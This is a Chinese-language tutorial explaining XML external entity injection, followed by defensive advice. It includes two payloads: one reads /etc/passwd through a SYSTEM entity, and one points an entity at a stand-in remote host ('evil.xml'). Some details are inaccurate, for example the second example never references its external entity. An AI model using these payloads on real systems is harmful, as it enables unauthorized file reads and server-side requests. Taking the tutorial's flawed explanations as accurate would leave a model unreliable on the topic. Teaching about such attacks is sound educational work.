XML实体注入深入理解

XML实体注入（XML Entity Injection）是一种针对XML解析器的攻击，攻击者在注入的参数中精心构造恶意实体，从而诱导应用程序将敏感数据泄露给攻击者。下面将对XML实体注入进行深入的分析和攻略。

什么是XML实体注入

XML实体注入是通过向XML数据中插入恶意实体或修改已有实体来诱导XML解析器执行意想不到的操作的攻击技术。XML解析过程中会展开解析到的实体，因此，如果可以控制实体内容，则可以通过注入恶意实体来实现攻击和利用。攻击者可以将恶意数据放在一个自定义的实体中，从而影响应用程序的解析行为，从而实现攻击目的。

如何进行XML实体注入攻击

攻击者使用一个包含恶意实体的XML数据文件来攻击应用程序，应用程序在解析该文件时，可能会根据实体的定义和引用，将实体展开成为其内容或者其定义的引用。攻击者可以在实体中放置一个能够执行恶意进程或读取敏感数据的内容或命令，通过实体展开，控制应用程序的行为。攻击者可以在XML实体注入发生时执行的恶意操作包括：

• 访问敏感数据 - 如数据库服务器的密码、加密密钥等
• 执行任意的命令 - 如在服务器中执行命令，上传文件等
• 调用网络服务 - 如发起HTTP请求、TCP连接等
• 发起拒绝服务攻击 (DoS) –通过对解析器造成故障或长时间停滞实现。

在实践中，需要将攻击载荷嵌入XML数据中并对它进行编码。下面是两个关于XML实体注入攻击的示例。

示例 1：读取/etc/passwd文件

考虑以下的XML数据：

<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY myChar "hello">
<!ENTITY myFile SYSTEM "file:///etc/passwd">
]>
<message>&myChar; &myFile;</message>

该XML数据包含两个实体： myChar 和 myFile，其中 myFile 实体包含了一个 SYSTEM 声明，它自引用了 file:///etc/passwd 路径。所以当应用程序解析该XML时会读取/etc/passwd文件的内容，并将相应的实体展开到 message 实体中。整个XML解析完成后，恶意实体即被成功地注入到系统中。

示例 2：利用外部实体漏洞读取远程文件

考虑一下的XML数据输入：

<!DOCTYPE message [
<!ENTITY myChar "hello">
<!ENTITY myFile SYSTEM "http://www.abc.com/evil.xml">
]>
<message> &myChar; </message>

在解析该XML时，XML解析器会发送一个请求到远程地址“http://www.abc.com/evil.xml”上，并以实体 myFile 的内容进行请求。也就是说，攻击者可以通过向目标服务器中注入该XML数据来实现远程文件的读取，从而进一步地进行攻击。

如何防止XML实体注入

要预防XML实体注入，需要注意以下几点：

• 永远不要使用无法控制的输入作为XML的一部分。
• 防止XML实体扩展，可以使用XML解析器的特殊选项关闭DTD处理或解析外部实体。例如，Java中有禁用外部实体的选项。
• 在验证用户输入之前，对其进行输入验证来检测和过滤潜在的恶意数据。
• 避免从XML解析器外部获得数据。如果必须读取外部数据，应该使用安全的API，并在读取过程中使用严格的性能和错误处理策略。

总之，要想有效地防御XML注入攻击，就要对XML数据细致入微地进行分析和检查，并采取合理的防御措施。